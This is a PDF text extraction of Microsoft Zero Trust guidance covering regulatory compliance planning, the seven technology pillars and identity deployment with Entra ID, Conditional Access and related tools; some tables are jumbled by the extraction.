readiness maturity
The Define strategy phase is critical to defining and formalizing efforts to address the
"Why?" of this scenario. In this phase, you understand the scenario through regulatory,
business, IT, operational, and strategic perspectives.
You then define the outcomes against which to measure success in this scenario,
understanding that compliance is an incremental and iterative journey.
needs.
Understanding the motivations of your business leaders

While Zero Trust can help streamline the process of meeting regulatory requirements,
perhaps the biggest challenge is gaining support and contribution from leaders across
your organization. This adoption guidance is designed to help you communicate with
them so you can gain organizational alignment, define your strategic goals, and identify
outcomes.
Gaining alignment begins with understanding what motivates your leaders and why they
should care about meeting regulatory requirements. The following table provides
example perspectives, but it’s important for you to meet with each of these leaders and
teams and come to a shared understanding of each other’s motivations.
ﾉ Expand table
Role Why meeting regulatory requirements is important
Chief Executive Responsible for securing organizational strategy that is validated by external
Officer (CEO) auditing bodies. The CEO mostly reports to a board of directors who may
also evaluate the level of compliance with legislative requirements across the
organization and annual audit findings.
Chief Marketing Responsible for ensuring that confidential company information isn't
Officer (CMO) externally shared solely for marketing purposes.
Chief Information Is typically the information officer in the organization and will be held liable
Officer (CIO) to information regulators.
Chief Technology Responsible for maintaining regulatory compliance within the digital estate.
Officer (CTO)
Chief Information Responsible for the adoption and conformance to industry standards that
Security Officer provide controls directly related to information security compliance.
(CISO)
Chief Operations Ensures that company policies and procedures relating to information
Officer (COO) security, data privacy, and other regulatory practices are upheld on an
operational level.
Chief Financial Assesses financial drawbacks and advantages to compliance, such as cyber
Officer (CFO) insurance and tax compliance.
Chief Risk Officer Owns the Risk component of the Governance Risk and Compliance (GRC)
(CRO) framework within the organization. Mitigates threats to non-conformance
and compliance.
Different parts of your organization might have different motivations and incentives for
doing the work of regulatory and compliance requirements. The following table
summarizes some of these motivations. Be sure to connect with your stakeholders to
understand their motivations.
ﾉ Expand table
Area Motivations
Business To comply with regulatory and legislative requirements that apply.

needs
IT needs To implement technologies that automate conformance to regulatory and

compliance requirements, as set out by your organization within the scope of
identities, data, devices (endpoints), applications, and infrastructure.
Operational Implement policies, procedures, and work instructions that are referenced and
needs aligned to relevant industry standards and relevant compliance requirements.
Strategic Reduce the risk of infringing on national, regional, and local laws and the
needs potential financial and public reputational damages that can result from
infringements.
Using the governance pyramid to inform strategy

The most important thing to remember with this business scenario is that the Zero Trust
framework serves as part of a larger governance model that establishes the hierarchy of
various legislative, statutory, regulatory, policy, and procedural requirements within an
organization. In the compliance and regulatory space, there can be many ways to
achieve the same requirement or control. It's important to state that this article pursues
regulatory compliance using a Zero Trust approach.
A strategy model that is often used within regulatory compliance is the governance
pyramid shown here.
Governance level Strategic business relevance
Legislation Competitive edge

GDPR Consumer trust
Computer Fraud and Abuse Act Brand reliability
(CFAA), 18 U.S.C. 1030
Standards Industry advantages

ISO 27001:2022 Quality assurance
NIST Lower cyber insurance premiums
ITIL
CIS
Policies and procedures Automation

Information security policies More streamlined internal processes
Payroll processes Less turnover lead times
Employee onboarding
Other procedures
Work instructions Operational efficiencies

User guides Conditional Access policies
Technical manuals Threat intelligence
Insider risk management
This pyramid illustrates the different levels on which most organizations manage
information technology (IT) governance. From the top of the pyramid to the bottom,
these levels are legislation, standards, policies and procedures, and work instructions.
The top of the pyramid represents the most important level—legislation. At this level,
the variation between organizations is less because laws apply broadly to many
organizations, although national and business-specific regulations can apply only to
some companies and not others. The base of the pyramid, work instructions, represents
the area with the greatest variation and surface area of implementation across
organizations. This is the level that allows an organization to leverage technology to
fulfill the more important requirements for the higher levels.
The right side of the pyramid provides examples of scenarios where organizational
compliance can lead to positive business outcomes and benefits. Business relevance
creates more incentives for organizations to have a governance strategy.
The following table describes how the different governance levels on the left side of the
pyramid can provide the strategic business advantages on the right side.
ﾉ Expand table
Governance level Strategic business relevance and outcomes
Legislation and laws, considered collectively Passing legal audits can avoid fines and penalties
and builds consumer trust and brand loyalty.
Standards provide a reliable basis for Standards provide quality assurance through
people to share the same expectations various industry quality controls. Some
about a product or service certifications have cyber insurance benefits as well.
Policies and procedures document an Many manual processes related to governance can
organization’s day-to-day functions and be streamlined and automated.
operations
Work instructions describe how to perform The intricate details of manuals and instruction
a process based on the defined policies and documents can be streamlined by technology. This
procedures in detailed steps can greatly reduce human error and save time.
An example is using Microsoft Entra Conditional

Access policies as part of the employee onboarding
process.
The governance pyramid model helps focus priorities:
1. Legislative and legal requirements
Organizations can face serious repercussions if these aren't followed.
2. Industry-specific and security standards

Organizations may have an industry requirement to be compliant or certified with
one or more of these standards. The Zero Trust framework can be mapped against
various security, information security, and infrastructure management standards.
3. Policies and procedures
Organization-specific and govern the more intrinsic processes within the business.
4. Work instructions
Detailed controls that are highly technical and customized for organizations to
fulfill the policies and procedures.
There are several standards that add the most value to areas of the Zero Trust
architecture. Focusing attention on the following standards that apply to you will yield
more impact:
The Center for Internet Security (CIS) Benchmarks provide valuable guidance for
device management and endpoint management policies. CIS Benchmarks include
implementation guides for Microsoft 365 and Microsoft Azure. Organizations
across all industries and verticals use CIS benchmarks to assist them in achieving
security and compliance goals. especially those that operate in heavily regulated
environments.
National Institute of Standards and Technology (NIST) provides the NIST Special
Publication (NIST SP 800-63-4 ipd) Digital Identity Guidelines . These guidelines
provide technical requirements for federal agencies implementing digital identity
services and aren't intended to constrain the development or use of standards
outside of this purpose. It's important to note that these requirements are made to
enhance the existing protocols that form part of Zero Trust strategy. Both
government and public sector organizations particularly in the United States
subscribe to NIST, however publicly listed companies can also make use of the
guiding principles within the framework. NIST also provides help for implementing
a Zero Trust architecture in the publications included with NIST SP 1800-35 .
The newly revised ISO 27002:2022 standard is recommended for overall data
governance and information security. However, the Annexure A controls provide a
good foundation for creating a checklist of security controls, which can later be
converted into workable objectives.
ISO 27001:2022 also provides comprehensive guidelines on how risk management

can be implemented in the context of information security. This may be particularly
beneficial with the number of metrics available to users in most portals and
dashboards.
Standards like these can be prioritized to provide your organization with a baseline of
policies and controls to meet common requirements.
Microsoft provides the Microsoft Purview Compliance Manager to help you plan and
track progress toward meetings standards that apply to your organization. Compliance
Manager can help you throughout your compliance journey, from taking inventory of
your data protection risks to managing the complexities of implementing controls,
staying current with regulations and certifications, and reporting to auditors.
Defining your strategy

From a compliance perspective, your organization should define its strategy according
to its intrinsic GRC methodology. If the organization doesn't subscribe to a specific
standard, policy, or framework, then an assessment template should be obtained from
Compliance Manager. Every active Microsoft 365 subscription is assigned a data
protection baseline that may be mapped against Zero Trust deployment guidelines. This
baseline gives your implementers a great starting point to what the practical
implementation of Zero Trust from a compliance perspective should look like. These
documented controls can later be converted to measurable objectives. These objectives
should be Specific, Measurable, Achievable, Realistic, and Time-bound (SMART).
The Data Protection Baseline template in Compliance Manager integrates 36 actions for
Zero Trust, aligned across the following control families:
Zero Trust Application

Zero Trust App development guidance
Zero Trust Endpoint
Zero Trust Data
Zero Trust Identity
Zero Trust Infrastructure
Zero Trust Network
Zero Trust Visibility, automation, and orchestration
These align strongly with the Zero Trust reference architecture, shown here.
Policy Optimization
Governance
Compliance
Data
Identities
Human
Non-human
Apps
SaaS
Evaluation Public
On-premises
Enforcement Private
Personal Containers
IaaS
Threat Protection
Paas
Internal Sites
Threat Intelligence
Forensics
Response Automation

Plan phase
Many organizations can take a four-staged approach to these technical activities,

ﾉ Expand table
Identify regulatory Use content explorer in Extend data lifecycle Use Microsoft
requirements that Microsoft Purview to management policies Sentinel to build
apply to your identify data that is with automation. reports based on
organization. subject to regulation the unified audit
requirements and Set up partitioning and log to continuously
Use Compliance assess its risk and isolation controls using assess and
Manager to identify exposure. Define sensitivity labels, DLP, or inventory the
regulations that custom classifiers to information barriers if compliance status
might affect your adapt this capability to required by regulations. of your
business, assess your business needs. information.
compliance with the Expand information
high-level Assess requirements for protection policies by Continue using
requirements information protection, implementing container Compliance
imposed by those such as data retention labeling, automatic and Manager on an

regulations, and plan and records mandatory labeling, and ongoing basis to
remediation for management policies, stricter DLP policies. identify and
identified gaps. and then implement Then expand these remediate
basic information policies to on-premises remaining gaps
Review current protection and data data, devices and meet the
guidance for governance policies (endpoints), and third- requirements of
regulations that using retention and party cloud services new or updated
apply to your sensitivity labels. using other capabilities regulations.
organization. in Microsoft Purview.
Implement basic DLP
policies to control the Reassess compliance
flow of regulated using Compliance
information. Manager and identify
and remediate remaining
Implement gaps.
communication
compliance policies if
required by regulations.

Stakeholder team
Your stakeholder team for this business scenario includes leaders across your
organization who are invested in your security posture and are likely to include the
following roles:
ﾉ Expand table

technical owners
Sponsor Strategy, steering, escalation, approach, business alignment, and

coordination management.
Project lead Overall management of engagement, resources, timeline and

schedule, communications, and others.
CISO Protection and governance of data assets and systems, such as risk
and policy determination and tracking and reporting.
IT Compliance Manager Determination of required controls to address compliance and

protection requirements.
End user security and Representation of your employees.

usability (EUC) lead
Investigation and audit Investigation and reporting in cooperation with compliance and
roles protection leads.
Information protection Data classification and sensitive data identification, controls, and
manager remediation.
Architecture lead Technical requirements, architecture, reviews, decisions, and

prioritization.
Microsoft 365 admins Tenant and environment, preparation, configuration, testing.
organization.

Technical plans and skills readiness

Microsoft provides resources to help you meet regulatory and compliance requirements.
The following sections highlight resources for specific objectives in the four stages
previously defined.
Stage 1
In Stage 1, you identify the regulations that apply to your organization and begin using
Compliance Manager. You also review regulations that apply to your organization.
ﾉ Expand table
Identify compliance requirements using Compliance Manager assessments

governance pyramid.
Use Compliance Manager to assess Visit the Microsoft Purview compliance portal and
compliance and plan remediation for review all customer-managed improvement actions
identified gaps. relevant to your organization.
Review current guidance for regulations See the following table.

that apply to your organization.
This table lists common regulations or standards.
ﾉ Expand table
Regulation or standard Resources
National Institute of Standards and Configure Microsoft Entra ID to meet NIST

Technology (NIST) authenticator assurance levels
Federal Risk and Authorization Configure Microsoft Entra ID to meet FedRAMP

Management Program (FedRAMP) High Impact level
Cybersecurity Maturity Model Certification Configure Microsoft Entra ID for CMMC compliance
(CMMC)
Executive Order on Improving the Nation’s Meet identity requirements of memorandum 22-09
Cybersecurity (EO 14028) with Microsoft Entra ID
Health Insurance Portability and Configuring Microsoft Entra ID for HIPAA

Accountability Act of 1996 (HIPAA) compliance
Payment Card Industry Security Standards Microsoft Entra PCI-DSS guidance

Council (PCI SSC)
Financial services regulations Key compliance and security considerations for US

banking and capital markets
U.S. Securities and Exchange Commission

(SEC)
Financial Industry Regulatory Authority
(FINRA)
Federal Financial Institutions Examination
Council (FFIEC)
Commodity Futures Trading Commission
(CFTC)
North America Electric Reliability Key Compliance and Security Considerations for
Corporation (NERC) the Energy Industry
Stage 2
In Stage 2, you begin implementing controls for data that aren't already in place. More
guidance for planning and deploying information protection controls are in the Identify
and protect sensitive business data Zero Trust adoption guide.
ﾉ Expand table
Use content explorer to identify Get started with content explorer

regulated data.
Content explorer can assist you in reviewing the current
exposure of regulated data and assess its compliance

with regulations dictating where it must be stored and
how it must be protected.
Create custom sensitive information types
Implement basic data governance Learn about retention policies & labels to retain or delete
and information protection policies
using retention and sensitivity labels. Learn about sensitivity labels
Verify your DLP and encryption Purview data loss prevention

policies.
Encryption with sensitivity labeling
Encryption for Office 365
Implement communication policies (if Create and manage communication compliance policies
applicable).
Stage 3
In Stage 3, you begin to automate your data governance policies for retention and
deletion, including use of adaptive scopes.
This stage includes implementing controls for segregation and isolation. NIST, for
example, prescribes hosting projects in an isolated environment if these projects relate
to specific types of classified work for and with the United States government. In some
scenarios, financial services regulations require partitioning environments to prevent
employees of different parts of the business from communicating with each other.
ﾉ Expand table
Extend data lifecycle management Data lifecycle management

policies with automation.
Set up partitioning and isolation Information barriers

controls (if applicable).
Data loss prevention
Cross-tenant access
Expand information protection Learn about the information protection scanner

policies to other workloads.
Use data loss prevention policies for non-Microsoft cloud
apps
Data loss prevention and Microsoft Teams
Using Endpoint data loss prevention
Use sensitivity labels to protect content in Microsoft

Teams, Microsoft 365 groups, and SharePoint sites
Reassess compliance using Compliance Manager

Compliance Manager.
Stage 4
The objectives in Stage 4 are about operationalizing this scenario by moving to a
continuous motion of evaluating the compliance of your assets to your applicable
regulations and standards.
ﾉ Expand table
Continuously assess and This article has identified every required tool and for this
inventory the compliance objective, you form a repeatable, iterative process that allows for
status of resources. continuous monitoring of resources and assets within the digital
estate.
Search the audit log in the compliance portal
Use Microsoft Sentinel to Use Microsoft Sentinel to build reports based on the Unified
build reports to measure Audit Log to assess and measure compliance and demonstrate
compliance. the effectiveness of controls.
Log analytics in Azure
Utilize Compliance Manager Compliance Manager

to identify and remediate
new gaps.
Ready phase

Most compliance work happens through policy enforcement. You determine what
conditions must be met to achieve compliance and then create a policy or set of policies
to automate a set of controls. Policy enforcement with Zero Trust creates repeatable
verification for specific compliance controls being implemented. By building controls
into the operational technology that the organization interacts with every day, it
becomes a simpler task to achieve audit readiness.
During the Ready phase, you evaluate, test, and pilot the policies you are targeting to
be sure these activities achieve the intended results. Be sure these do not introduce new
risks. For this Zero Trust business scenario, it’s important to work with your stakeholders
who are implementing access controls, data protection, and other infrastructure
protections. For example, the recommendations for evaluating, testing, and piloting
policies to enable remote and hybrid work are different than the recommendations for
identifying and protecting sensitive data across your digital estate.
Example controls
Each pillar of Zero Trust can be mapped against specific controls within a regulatory or
standards framework.
Example 1
Zero Trust for Identity is mapped to Access Control Management within the Center for
Internet Security (CIS)) Benchmark, and to Annexure A.9.2.2 User Access Provisioning in
ISO 27001:2022.
Identities
Regulatory Requirements Technical elements
ISO 27001: 2022 Identity Provider
Annexure A.9.2.2 User access provisioning

Multifactor authentication
In this diagram, Access Control Management is defined in Annexure 9.2.2 of the ISO
27001 requirements standard, User Access Provisioning. The requirements for this
section are satisfied by requiring multifactor authentication.
The execution of each control, like the enforcement of Conditional Access policies, is
unique to each organization. Your organization’s risk profile along with an inventory of
assets should create an accurate surface area and scope of implementation.
Example 2
One of the more obvious correlations between Zero Trust architecture and industry
standards includes information classification. Annexure 8.2.1 from ISO 27001, dictates
that:
Information must be classified in terms of legal requirements, value, criticality, and

sensitivity to any unauthorized disclosure or modification, ideally classified to
reflect business activity rather than inhibit or complicate it.
Data
Microsoft Purview data
ISO 27001: 2022
classification service
Annexure 8.2.1 Classification of information
Sensitivity labels
(classify, label, encrypt)
Emails and documents

Structured data 
In this diagram, the Microsoft Purview data classification service is used to define and
apply sensitivity labels to emails, documents, and structured data.
Example 3
Annexure 8.1.1 In ISO 27001:2022 (Inventory of assets) requires that "any assets
associated with information and information processing facilities need to be identified
and managed over the lifecycle, and are always up to date."
The fulfillment of this control requirement can be achieved through the implementation
of Intune device management. This requirement provides a clear account of inventory
and reports the status of compliance for each device against defined company or
industry policies.
Devices
ISO 27001: 2022 Microsoft Intune
Annexure 8.1.1 Inventory of assets
Device management
Compliance policies
For this control requirement, you use Microsoft Intune to manage devices, including
setting up compliance policies to report on the compliance of devices against the
policies you set. You can also use Conditional Access policies to require device
compliance during the authentication and authorization process.
Example 4
The most comprehensive example of a pillar of Zero Trust that has been mapped to
industry standards would be Threat intelligence and Incident response. The entire
Microsoft Defender and Microsoft Sentinel breadth of products become applicable in
this scenario to provide in-depth analysis and execution of threat intelligence and real-
time incident response.
Threat intelligence
ISO 27001: 2022 Microsoft Defender XDR
Annexure A.5.7 Threat intelligence Microsoft Defender for Cloud
Microsoft Sentinel
Automated investigation & remediation

Rapid remediation
Advanced analysis
Proactive hunting & advanced forensics

In this diagram, Microsoft Sentinel together with Microsoft Defender tools provide
threat intelligence.
Adopt phase
In the adoption phase, you incrementally implement your technical plans across your
digital estate. You'll need to categorize the technical plans by area and work with the
corresponding teams to accomplish this phase.
For identity and device access, take a staged approach where you start with a small
number of users and devices and then gradually increase the deployment to include
your full environment. This is described in the Secure remote and hybrid work adoption
scenario. Here's an example.
Pilot
Evaluate
Full deployment

Adoption for protecting data involves cascading the work and iterating as you go to be
sure the policies you create are appropriately honed for your environment. This is
described in the Identify and protect sensitive business data adoption scenario. Here's
an example.
Technical Discover and identify sensitive business data

adoption of
information Develop a classification and protection schema
protection
Microsoft 365


Govern and manage
Meeting regulatory and compliance requirements is an ongoing process. As you

transition to this phase, shift to tracking and monitoring. Microsoft provides a handful of
tools to help.
You can use content explorer to monitor the status of organizational compliance. For
data classification, content explorer provides a view of the landscape and spread of
sensitive information within your organization. From trainable classifiers to different
types of sensitive data—either through adaptive scopes or manually created sensitivity
labels—your administrators can see whether the prescribed sensitivity schema is being
applied correctly throughout the organization. This is also an opportunity to identify
specific areas of risk where sensitive information is consistently shared in Exchange,
SharePoint, and OneDrive. Here's an example.
By using the greater reporting functionality within the Microsoft Purview compliance
portal, you can create and quantify a macro-view of compliance. Here's an example.
The same thinking and process can be applied to Azure. Use Defender for Cloud-
Regulatory Compliance to determine a compliance score similar to the same score
provided in the Purview Compliance Manager. The score is aligned to multiple
regulatory standards and frameworks across various industry verticals. It's up to your
organization to understand which of these regulatory standards and frameworks apply
to the score. The status provided by this dashboard displays a constant real-time
assessment of passing versus failing assessments with each standard. Here's an example.
The Purview dashboards provide a broad assessment that can help inform your business
leaders and be used in departmental reporting, such as a quarterly review. On a more
operational note, you can leverage Microsoft Sentinel by creating a Log Analytics
workspace for unified audit log data. This workspace can be connected to your
Microsoft 365 data and provide insights on user activity. Here's an example.

This data is customizable and can be used in conjunction with the other dashboards to
contextualize the regulatory requirement specifically aligned to your organization’s
strategy, risk profile, goals, and objectives.
Next Steps

resources.
ﾉ Expand table
phase.

phase.
Feedback
Zero Trust deployment for technology
pillars
Article • 04/12/2024
Because your organization might already have elements of Zero Trust protections
already in place, this documentation set provides conceptual information to get you
started and deployment plans and implementation recommendations for end-to-end
adherence to Zero Trust principles. Each article acts as a checklist of deployment
objectives with steps and links to more information.
You deploy Zero Trust principles across your IT infrastructure by implementing Zero
Trust controls and technologies across seven technology pillars. Six of these pillars are
signal sources, a control plane for enforcement, and a critical resource to be defended.
Across these is the pillar that collects those signals and provides visibility for security
incidents and automation and orchestration for responding to and mitigating
cybersecurity threats.
The following articles provide conceptual information and deployment objectives for
these seven technology pillars. Use these articles to assess your readiness and build a
deployment plan to apply Zero Trust principles.
ﾉ Expand table
Technology Description
pillar
Identities—whether they represent people, services, or IoT devices—define the

Zero Trust control plane. When an identity attempts to access a resource,
Identities verify that identity with strong authentication, and ensure access is compliant
and typical for that identity. Follow least privilege access principles.
Once an identity has been granted access to a resource, data can flow to a
variety of different endpoints (devices), from IoT devices to smartphones,
Endpoints
BYOD to partner-managed devices, and on-premises workloads to cloud-
hosted servers. This diversity creates a massive attack surface area. Monitor
and enforce device health and compliance for secure access.
Technology Description
pillar
[Ultimately, security teams are protecting data. Where possible, data should
remain safe even if it leaves the devices, apps, infrastructure, and networks the
Data
organization controls. Classify, label, and encrypt data, and restrict access
based on those attributes.
Applications and APIs provide the interface by which data is consumed. They
may be legacy on-premises workloads, lifted-and-shifted to cloud workloads,
Apps
or modern SaaS applications. Apply controls and technologies to discover
shadow IT, ensure appropriate in-app permissions, gate access based on real-
time analytics, monitor for abnormal behavior, control user actions, and
validate secure configuration options.
Infrastructure—whether on-premises servers, cloud-based VMs, containers, or

micro-services—represents a critical threat vector. Assess for version,
Infrastructure configuration, and JIT access to harden defense. Use telemetry to detect
attacks and anomalies, and automatically block and flag risky behavior and
take protective actions.
All data is ultimately accessed over network infrastructure. Networking

controls can provide critical controls to enhance visibility and help prevent
Network attackers from moving laterally across the network. Segment networks (and do
deeper in-network micro-segmentation) and deploy real-time threat
protection, end-to-end encryption, monitoring, and analytics.
In our Zero Trust guides, we define the approach to implement an end-to-end

Zero Trust methodology across identities, endpoints (devices), data, apps,
Visibility, infrastructure, and network. These activities increase your visibility, which gives
automation, and you better data for making trust decisions. With each of these individual areas
orchestration generating their own relevant alerts, we need an integrated capability to
manage the resulting influx of data to better defend against threats and
validate trust in a transaction.
ﾉ Expand table
Training Establish the guiding principles and core components of Zero Trust
Use this learning path to understand the basics of applying Zero Trust principles to
the key technology pillars of identities, endpoints, application access, networks,
infrastructure, and data.
Start >
Additional Zero Trust resources
Use these additional Zero Trust resources based on a documentation set or roles in your
organization.
Documentation set
ﾉ Expand table
365 for business
guidance
deployment guidance
Your role
Follow this table for the best documentation sets for the roles in your organization.
ﾉ Expand table
IT implementer
business
Microsoft 365
Feedback
Securing identity with Zero Trust
Article • 04/12/2024
Background
Cloud applications and the mobile workforce have redefined the security perimeter.
Employees are bringing their own devices and working remotely. Data is being accessed
outside the corporate network and shared with external collaborators such as partners
and vendors. Corporate applications and data are moving from on-premises to hybrid
and cloud environments. Organizations can no longer rely on traditional network
controls for security. Controls need to move to where the data is: on devices, inside
apps, and with partners.
Identities, representing people, services, or IoT devices, are the common dominator
across today's many networks , endpoints , and applications . In the Zero Trust
security model, they function as a powerful, flexible, and granular way to control access
to data .
Before an identity attempts to access a resource, organizations must:
Verify the identity with strong authentication.
Ensure access is compliant and typical for that identity.
Follows least privilege access principles.
Once the identity has been verified, we can control that identity's access to resources
based on organization policies, on-going risk analysis, and other tools.
Identity Zero Trust deployment objectives
Before most organizations start the Zero Trust journey, their approach to identity
is problematic in that the on-premises identity provider is in use, no SSO is present
between cloud and on-premises apps, and visibility into identity risk is very
limited.
ﾉ Expand table
When implementing an end-to-end Zero Trust framework for identity, we recommend you focus
first on these initial deployment objectives:
I. Cloud identity federates with on-premises identity systems.
II. Conditional Access policies gate access and provide remediation activities.
III. Analytics improve visibility.
After these are completed, focus on these additional deployment objectives:
IV. Identities and access privileges are managed with identity governance.
V. User, device, location, and behavior is analyzed in real time to determine risk and
deliver ongoing protection.
VI. Integrate threat signals from other security solutions to improve detection, protection,
and response.
Identity Zero Trust deployment guide

This guide will walk you through the steps required to manage identities following the
principles of a Zero Trust security framework.
ﾉ Expand table
Initial deployment objectives
I. Cloud identity federates with on-premises identity

systems
Microsoft Entra ID enables strong authentication, a point of integration for endpoint
security, and the core of your user-centric policies to guarantee least-privileged access.
Microsoft Entra Conditional Access capabilities are the policy decision point for access
to resources based on user identity, environment, device health, and risk—verified
explicitly at the point of access. We will show how you can implement a Zero Trust
identity strategy with Microsoft Entra ID.
Connect all of your users to Microsoft Entra ID and federate with
on-premises identity systems
Maintaining a healthy pipeline of your employees' identities and the necessary security
artifacts (groups for authorization and endpoints for extra access policy controls) puts
you in the best place to use consistent identities and controls in the cloud.
Follow these steps:
1. Choose an authentication option . Microsoft Entra ID provides you the best brute
force, DDoS, and password spray protection, but make the decision that's right for
your organization and your compliance needs.
2. Only bring the identities you absolutely need. For example, use going to the cloud
as an opportunity to leave behind service accounts that only make sense on-
premises. Leave on-premises privileged roles behind.
3. If your enterprise has more than 100,000 users, groups, and devices combined
build a high performance sync box that will keep your life cycle up to date.
Establish your Identity Foundation with Microsoft Entra ID

A Zero Trust strategy requires verifying explicitly, using least-privileged access principles,
and assuming breach. Microsoft Entra ID can act as the policy decision point to enforce
your access policies based on insights on the user, endpoint, target resource, and
environment.
Take this step:
Put Microsoft Entra ID in the path of every access request. This connects every user
and every app or resource through one identity control plane and provides
Microsoft Entra ID with the signal to make the best possible decisions about the
authentication/authorization risk. In addition, single sign-on and consistent policy
guardrails provide a better user experience and contribute to productivity gains.
Integrate all your applications with Microsoft Entra ID

Single sign-on prevents users from leaving copies of their credentials in various apps
and helps avoid users get used to surrendering their credentials due to excessive
prompting.
Also make sure you do not have multiple IAM engines in your environment. Not only
does this diminish the amount of signal that Microsoft Entra ID sees, allowing bad actors
to live in the seams between the two IAM engines, it can also lead to poor user
experience and your business partners becoming the first doubters of your Zero Trust
strategy.
Follow these steps:
1. Integrate modern enterprise applications that speak OAuth2.0 or SAML.
2. For Kerberos and form-based auth applications, integrate them using the
Microsoft Entra application proxy.
3. If you publish your legacy applications using application delivery

networks/controllers, use Microsoft Entra ID to integrate with most of the major
ones (such as Citrix, Akamai, and F5).
4. To help discover and migrate your apps off of ADFS and existing/older IAM
engines, review resources and tools.
5. Power push identities into your various cloud applications. This gives you a tighter
identity lifecycle integration within those apps.
 Tip
Learn about implementing an end-to-end Zero Trust strategy for applications .
Verify explicitly with strong authentication
Follow these steps:
1. Roll out Microsoft Entra multifactor authentication (P1). This is a foundational piece
of reducing user session risk. As users appear on new devices and from new
locations, being able to respond to an MFA challenge is one of the most direct
ways that your users can teach us that these are familiar devices/locations as they
move around the world (without having administrators parse individual signals).
2. Block legacy authentication. One of the most common attack vectors for malicious
actors is to use stolen/replayed credentials against legacy protocols, such as SMTP,
that cannot do modern security challenges.
II. Conditional Access policies gate access and provide

remediation activities
Microsoft Entra Conditional Access (CA) analyzes signals such as user, device, and
location to automate decisions and enforce organizational access policies for resource.
You can use CA policies to apply access controls like multifactor authentication (MFA).
CA policies allow you to prompt users for MFA when needed for security and stay out of
users' way when not needed.
Microsoft provides standard conditional policies called security defaults that ensure a
basic level of security. However, your organization may need more flexibility than
security defaults offer. You can use Conditional Access to customize security defaults
with more granularity and to configure new policies that meet your requirements.
Planning your Conditional Access policies in advance and having a set of active and
fallback policies is a foundational pillar of your Access Policy enforcement in a Zero Trust
deployment. Take the time to configure your trusted IP locations in your environment.
Even if you do not use them in a Conditional Access policy, configuring these IPs
informs the risk of Identity Protection mentioned above.
Take this step:
Check out our deployment guidance and best practices for resilient Conditional
Access policies.
Register devices with Microsoft Entra ID to restrict access from
vulnerable and compromised devices
Follow these steps:
1. Enable Microsoft Entra hybrid join or Microsoft Entra join. If you are managing the
user's laptop/computer, bring that information into Microsoft Entra ID and use it to
help make better decisions. For example, you may choose to allow rich client
access to data (clients that have offline copies on the computer) if you know the
user is coming from a machine that your organization controls and manages. If
you do not bring this in, you will likely choose to block access from rich clients,
which may result in your users working around your security or using shadow IT.
2. Enable the Intune service within Microsoft Endpoint Manager (EMS) for managing
your users' mobile devices and enroll devices. The same can be said about user
mobile devices as about laptops: The more you know about them (patch level,
jailbroken, rooted, etc.), the more you are able to trust or mistrust them and
provide a rationale for why you block/allow access.
 Tip
Learn about implementing an end-to-end Zero Trust strategy for endpoints
III. Analytics improve visibility

As you build your estate in Microsoft Entra ID with authentication, authorization, and
provisioning, it's important to have strong operational insights into what is happening in
the directory.
Configure your logging and reporting to improve visibility

Take this step:
Plan a Microsoft Entra reporting and monitoring deployment to be able to persist

and analyze logs from Microsoft Entra ID, either in Azure or using a SIEM system of
choice.
ﾉ Expand table
Additional deployment objectives
IV. Identities and access privileges are managed with

identity governance
Once you've accomplished your initial three objectives, you can focus on additional
objectives such as more robust identity governance.
Secure privileged access with Privileged Identity Management

Control the endpoints, conditions, and credentials that users use to access privileged
operations/roles.
Follow these steps:
1. Take control of your privileged identities. Keep in mind that in a digitally-

transformed organization, privileged access is not only administrative access, but
also application owner or developer access that can change the way your mission-
critical apps run and handle data.
2. Use Privileged Identity Management to secure privileged identities.
Restrict user consent to applications

User consent to applications is a very common way for modern applications to get
access to organizational resources, but there are some best practices to keep in mind.
Follow these steps:
1. Restrict user consent and manage consent requests to ensure that no unnecessary
exposure occurs of your organization's data to apps.
2. Review prior/existing consent in your organization for any excessive or malicious

consent.
For more on tools to protect against tactics to access sensitive information, see
"Strengthen protection against cyber threats and rogue apps" in our guide to
implementing an identity Zero Trust strategy .
Manage entitlement
With applications centrally authenticating and driven from Microsoft Entra ID, you can
now streamline your access request, approval, and recertification process to make sure
that the right people have the right access and that you have a trail of why users in your
organization have the access they have.
Follow these steps:
1. Use Entitlement Management to create access packages that users can request as
they join different teams/projects and that assigns them access to the associated
resources (such as applications, SharePoint sites, group memberships).
2. If deploying Entitlement Management is not possible for your organization at this

time, at least enable self-service paradigms in your organization by deploying self-
service group management and self-service application access.
Use passwordless authentication to reduce the risk of phishing and

password attacks
With Microsoft Entra ID supporting FIDO 2.0 and passwordless phone sign-in, you can
move the needle on the credentials that your users (especially sensitive/privileged users)
are employing day-to-day. These credentials are strong authentication factors that can
mitigate risk as well.
Take this step:
Start rolling out passwordless credentials in your organization.
V. User, device, location, and behavior is analyzed in real

time to determine risk and deliver ongoing protection
Real-time analysis is critical for determining risk and protection.
Deploy Microsoft Entra Password Protection
While enabling other methods to verify users explicitly, don't ignore weak passwords,
password spray, and breach replay attacks. And classic complex password policies do
not prevent the most prevalent password attacks .
Take this step:
Enable Microsoft Entra Password Protection for your users in the cloud and on-
premises.
Enable Identity Protection
Get more granular session/user risk signal with Identity Protection. You'll be able to
investigate risk and confirm compromise or dismiss the signal, which will help the
engine better understand what risk looks like in your environment.
Take this step:
Enable Identity Protection.
Enable Microsoft Defender for Cloud Apps integration with Identity

Protection
Microsoft Defender for Cloud Apps monitors user behavior inside SaaS and modern
applications. This informs Microsoft Entra ID about what happened to the user after they
authenticated and received a token. If the user pattern starts to look suspicious (e.g., a
user starts to download gigabytes of data from OneDrive or starts to send spam emails
in Exchange Online), then a signal can be fed to Microsoft Entra ID notifying it that the
user seems to be compromised or high risk. On the next access request from this user,
Microsoft Entra ID can correctly take action to verify the user or block them.
Take this step:
Enable Defender for Cloud Apps monitoring to enrich the Identity Protection
signal.
Enable Conditional Access integration with Microsoft Defender for

Cloud Apps
Using signals emitted after authentication and with Defender for Cloud Apps proxying
requests to applications, you will be able to monitor sessions going to SaaS applications
and enforce restrictions.
Follow these steps:
1. Enable Conditional Access integration.
2. Extend Conditional Access to on-premises apps.
Enable restricted session for use in access decisions

When a user's risk is low, but they are signing in from an unknown endpoint, you may
want to allow them access to critical resources, but not allow them to do things that
leave your organization in a noncompliant state. Now you can configure Exchange
Online and SharePoint Online to offer the user a restricted session that allows them to
read emails or view files, but not download them and save them on an untrusted device.
Take this step:
Enable limited access to SharePoint Online and Exchange Online
VI. Integrate threat signals from other security solutions

to improve detection, protection, and response
Finally, other security solutions can be integrated for greater effectiveness.
Integrate Microsoft Defender for Identity with Microsoft Defender

for Cloud Apps
Integration with Microsoft Defender for Identity enables Microsoft Entra ID to know that
a user is indulging in risky behavior while accessing on-premises, non-modern resources
(like File Shares). This can then be factored into overall user risk to block further access
in the cloud.
